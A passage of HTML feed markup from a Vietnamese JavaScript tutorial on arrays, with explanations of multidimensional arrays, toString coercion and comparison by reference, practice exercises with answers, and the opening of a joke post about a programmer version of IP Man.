0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mảng nhiều chiều</h2> <p>Mảng trong JavaScript có thể chứa phần tử cũng là một mảng. Đó gọi là <strong>mảng nhiều chiều</strong>.</p> <p>Ví dụ sử dụng mảng hai chiều để lưu ma trận 2x2:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> matrix <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// truy cập phần tử ở hàng 1, cột 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>matrix<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5</span></code></pre></div> <h2 id="phương-thức-tostring" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-tostring" aria-label="phương thức tostring permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>toString()</code></h2> <p>Array có triển khai phương thức <code>toString()</code> theo cách riêng. Phương thức này trả về một string chứa giá trị của các phần tử mảng - được ngăn cách nhau bởi dấu phẩy:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a,b,c</span></code></pre></div> <p>Ví dụ cộng array với số:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 13</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1,23</span></code></pre></div> <p>Bởi vì, array không có phương thức <a href="/phuong-thuc-object-va-this-trong-javascript/"><code>Symbol.toPrimitive</code> và <code>valueOf()</code></a> mà chỉ có phương thức <code>toString()</code>.</p> <p>Vì vậy khi thực hiện phép cộng trên, <code>[]</code> trở thành string rỗng, <code>[1]</code> trở thành <code>"1"</code> và <code>[1,2]</code> trở thành <code>"1,2"</code>. Nên đoạn code trên tương đương với:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"1"</span> <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 13</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"1,2"</span> <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1,23</span></code></pre></div> <p>Tiếp theo, khi cộng string với số thì số sẽ được <a href="/kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu</a> về string. Nên kết quả thu được như trên.</p> <h2 id="so-sánh-array-trong-javascript" style="position:relative;"><a href="#so-s%C3%A1nh-array-trong-javascript" aria-label="so sánh array trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh array trong JavaScript</h2> <p>Tương tự như object, array cũng là kiểu dữ liệu tham chiếu. Vì vậy, việc so sánh array là <strong>so sánh qua tham chiếu</strong>.</p> <p>Nghĩa là hai array chỉ bằng nhau khi chúng cùng tham chiếu. Ngược lại, dù cho hai array có các phần tử giống nhau thì chúng cũng không bằng nhau.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// a và b cùng là mảng rỗng nhưng không bằng nhau</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">===</span> a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">===</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Để so sánh hai array với nhau theo giá trị các phần tử, bạn có thể tham khảo cách mình triển khai với object trong bài viết: <a href="/so-sanh-object-trong-javascript/">So sánh hai object trong JavaScript</a>.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Array trong JavaScript là một loại object đặc biệt dùng để lưu trữ dữ liệu theo thứ tự.</p> <p>Để khởi tạo array, bạn có hai cách:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// cách phổ biến</span> <span class="token keyword">let</span> a1 <span class="token operator">=</span> <span class="token punctuation">[</span>item1<span class="token punctuation">,</span> item2<span class="token punctuation">,</span><span class="token operator">...</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// cách ít dùng</span> <span class="token keyword">let</span> a2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span>item1<span class="token punctuation">,</span> item2<span class="token punctuation">,</span><span class="token operator">...</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Cách gọi <code>new Array(number)</code> với <code>number</code> là số sẽ tạo một mảng mới có giá trị <code>length</code> là <code>number</code>, nhưng lại không có phần tử nào.</p> <p>Thuộc tính <code>length</code> có giá trị là độ dài của mảng, chính xác hơn thì <code>length</code> bằng giá trị chỉ số lớn nhất cộng thêm 1 đơn vị. Mỗi khi bạn thêm/xóa phần tử trong mảng thì thuộc tính <code>length</code> tăng/giảm tương ứng.</p> <p>Nhưng bạn cũng có thể thay đổi trực tiếp giá trị của <code>length</code>. Nếu giá trị của <code>length</code> giảm đi thì mảng cũng bị cắt ngắn đi. Và khi <code>length</code> bằng 0, đồng nghĩa với mảng bị xóa.</p> <p>Một số <a href="/phuong-thuc-cua-mang-trong-javascript/">phương thức phổ biến trong mảng</a> là:</p> <ul> <li><code>arr.push(item1, item2,...)</code>: thêm một hoặc nhiều phần tử vào cuối mảng.</li> <li><code>arr.pop()</code>: lấy ra và trả về phần tử cuối cùng của mảng.</li> <li><code>arr.shift()</code>: lấy ra và trả về phần tử đầu tiên của mảng.</li> <li><code>arr.unshift(item1, item2,...)</code>: thêm một hay nhiều phần tử vào đầu mảng.</li> </ul> <p>Có ba cách để duyệt hết tất cả các phần tử của mảng:</p> <ul> <li>Vòng lặp <code>for</code> với chỉ số <code>for (let i=0; i &#x3C; arr.length; i++)</code>: cách này chạy nhanh nhất.</li> <li>Vòng lặp <code>for (let item of arr)</code>: cách này ngắn gọn, nên dùng khi không quan tâm chỉ số.</li> <li>Vòng lặp <code>for (let i in arr)</code>: cách này không tối ưu cho array, <strong>không nên dùng</strong>.</li> </ul> <p>So sánh array thực chất là so sánh theo tham chiếu. Để so sánh từng phần tử của mảng, bạn có thể dùng vòng lặp <code>for...of</code> để duyệt hết tất cả các phần tử hoặc sử dụng thư viện <a href="https://docs-lodash.com/v4/is-equal/"><code>_.isEqual</code></a>.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Đoạn code sau hiển thị như thế nào:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> otherArr <span class="token operator">=</span> letters<span class="token punctuation">;</span> otherArr<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token string">"d"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// giá trị length của letters bằng bao nhiêu?</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ?</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả là: 4</p> <p>Giải thích:</p> <ul> <li>Bởi vì array là kiểu dữ liệu tham chiếu, nên khi gán <code>otherArr = letters</code> thì <code>otherArr</code> có cùng tham chiếu với <code>letters</code>.</li> <li>Câu lệnh <code>otherArr.push("d")</code> thêm phần tử mới vào <code>otherArr</code> thì cũng làm thay đổi <code>letters</code>.</li> </ul> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Hãy viết code thực hiện các bước sau:</p> <ol> <li>Tạo mảng <code>letters</code> với hai phần tử "a" và "b".</li> <li>Thêm phần tử "c" vào cuối mảng.</li> <li>Thay đổi giá trị của phần tử ở giữa thành "d".</li> <li>Lấy ra và trả về giá trị phần tử đầu tiên của mảng.</li> <li>Thêm hai số 1, 2 vào đầu mảng.</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 1. Tạo mảng `letters` với hai phần tử "a" và "b".</span> <span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// 2. Thêm phần tử "c" vào cuối mảng.</span> letters<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token string">"c"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3. Thay đổi giá trị của phần tử ở giữa thành "d".</span> <span class="token keyword">let</span> length <span class="token operator">=</span> letters<span class="token punctuation">.</span>length<span class="token punctuation">;</span> letters<span class="token punctuation">[</span>Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>length <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"d"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) ['a', 'd', 'c']</span> <span class="token comment">// 4. Lấy ra và trả về giá trị phần tử đầu tiên của mảng.</span> <span class="token keyword">let</span> first <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">shift</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>first<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> <span class="token comment">// 5. Thêm hai số 1, 2 vào đầu mảng.</span> letters<span class="token punctuation">.</span><span class="token function">unshift</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4) [1, 2, 'd', 'c']</span></code></pre></div> </div> </div> </div> <h3 id="bài-3" style="position:relative;"><a href="#b%C3%A0i-3" aria-label="bài 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3</h3> <p>Kết quả hiển thị là gì?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> letters<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> letters<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ?</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> letters<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">letters<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a,b,function(){...}</span></span></code></pre></div> <p>Cách viết <code>letters[2]</code> tương tự như cách truy cập phần tử trong object <code>obj[key]</code>. Mà giá trị tại <code>letters[2]</code> là một hàm. Nói cách khác, đó là phương thức của object.</p> <p>Vì vậy, giá trị của <a href="/phuong-thuc-object-va-this-trong-javascript/"><code>this</code></a> được bind với đối tượng gọi phương thức. Nên <code>this</code> chính là <code>letters</code>.</p> </div> </div> </div> <h3 id="bài-4" style="position:relative;"><a href="#b%C3%A0i-4" aria-label="bài 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 4</h3> <p>Viết hàm <code>sumInput</code> thực hiện các yêu cầu sau:</p> <ol> <li>Sử dụng hàm <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/"><code>prompt</code></a> để yêu cầu người dùng nhập vào các số và lưu vào một mảng.</li> <li>Dừng hỏi người dùng khi giá trị nhập vào không phải là số bình thường.</li> <li>Tính và in ra tổng các số người dùng nhập.</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// định nghĩa hàm</span> <span class="token keyword">function</span> <span class="token function">sumInput</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// khởi tạo mảng rỗng để lưu số</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// 1. hỏi người dùng để nhập vào số</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> n <span class="token operator">=</span> <span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào một số:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2. kiểm tra điều kiện dừng</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">===</span> <span class="token string">""</span> <span class="token operator">||</span> n <span class="token operator">===</span> <span class="token keyword">null</span> <span class="token operator">||</span> n <span class="token operator">===</span> <span class="token keyword">undefined</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token function">isFinite</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// lưu lại số vào mảng</span> arr<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token operator">+</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// 3. tính tổng các số nhập vào</span> <span class="token keyword">let</span> s <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> num <span class="token keyword">of</span> arr<span class="token punctuation">)</span> <span class="token punctuation">{</span> s <span class="token operator">+=</span> num<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> s<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// gọi hàm</span> <span class="token function">sumInput</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">MDN Arrays</a></li> <li><a href="https://javascript.info/array">Arrays</a></li> </ul>[email protected]<![CDATA[Ảnh chế vui #7: IP man 4 phiên bản lập trình viên]]><![CDATA[IP man 4 phiên bản lập trình viên Châu Tử Đan - Chung Tử Đơn (Donnie Yen): 107.113.70.1 Cùng các anh em: 107.113.70.2 - 107.113.70.9. Xin chào và hẹn gặp lại bạn ở bài viết tiếp…]]>https://completejavascript.com/anh-che-vui-7-ip-man-4-phien-ban-lap-trinh-vien/https://completejavascript.com/anh-che-vui-7-ip-man-4-phien-ban-lap-trinh-vien/<![CDATA[Ảnh chế]]>Mon, 29 May 2017 00:45:35 GMT<p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQozwGfAmD9AC4+Qig7QSI0OTE6OjZERzFAQzxERYJ/eJiTipWUka2rqWRkX0dJREJDO0BBOD09Njc6NjQzLUpAMTs7MwAXKC8uPEIuODs5QEAuNzkwOTk+QD6CfnWXkod9fHeqqKNpaWRBQj89Pzg5OzQ0ODE1ODU3OTU7OTI2NzEARU9QPU5SOkpOTEZCOz8+PklMR09Oiod6vbamnIl30MWzXWFdSElDQUQ+MjUxMjQwOj04Njk1TEU8XFdPAExWWR81PBQsNVdOSHVzbkVIRldNRYeFeHRqYDgwLmhnYZyckpKDdLConLKuo7KuoYh3aXlzaWFYUE8/NQApQEk7SEonNzpfZGOkoZlISUZmVkiBgHckLTYTISoUIiqGg32Td2/FsKjo5dfd2cuEenXBubB2eXUHERcARkZEWlpULzU0V1ZRhHxxWFJKW1FEYllQGiMrEx4mICouU1NRV0dAk3923tjJvbmuT1ZaSVNZPUFBCxYcAE5HPmloYEVJRk1TVHR0bkI9NjwzLHBiVDU6OgMRGhQcIndzaJ+Tfruqk7Gpl5+ZikNJSxojKhwhJBYgJwA9OjRYUEFOTEJVV1Z3eXRKOS43JRxgU0Y2PT8IEhkPEBRxa1+rnYi1p5GBemqFempmW1EvNDVcXlsEERoASkZBlYh3oZOAXFpTWVtWUkU8V0c6XVFFOkBBFBofCg0PenBhiHlknI15e29ffnFfhXRmUlVVX2FfAw4XADQyL5eIdJ2OemVgVVtbVU5GPlVMQVxSRkFFRAQOFhAQEFROQ0I7Mm9hT2ZbSlhOQnBfUDc1M1BMRRUeJQB9bVmQfWWSgGmSg2+YiXSQgWydi3OijnSfj3k6OzopKimsmH2QgGybiXGPgG1rY1huZVlrYVV3a1swNDVaLeQv8TCP4gAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="IP man 4 - phiên bản lập trình viên - completejavascript.com" title="IP man 4 - phiên bản lập trình viên - completejavascript.com" src="/static/7bca6278ac9a4cbd1d9d874fe95edf9b/7c811/ip-man-4-phien-ban-lap-trinh-vien-completejavascript.com_.png" srcset="/static/7bca6278ac9a4cbd1d9d874fe95edf9b/103f2/ip-man-4-phien-ban-lap-trinh-vien-completejavascript.com_.png 165w, /static/7bca6278ac9a4cbd1d9d874fe95edf9b/748ba/ip-man-4-phien-ban-lap-trinh-vien-completejavascript.com_.png 330w, /static/7bca6278ac9a4cbd1d9d874fe95edf9b/7c811/ip-man-4-phien-ban-lap-trinh-vien-completejavascript.com_.png 660w, /static/7bca6278ac9a4cbd1d9d874fe95edf9b/a27c6/ip-man-4-phien-ban-lap-trinh-vien-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="ip-man-4-phiên-bản-lập-trình-viên" style="position:relative;"><a href="#ip-man-4-phi%C3%AAn-b%E1%BA%A3n-l%E1%BA%ADp-tr%C3%ACnh-vi%C3%AAn" aria-label="ip man 4 phiên bản lập trình viên permalink" class="anchor 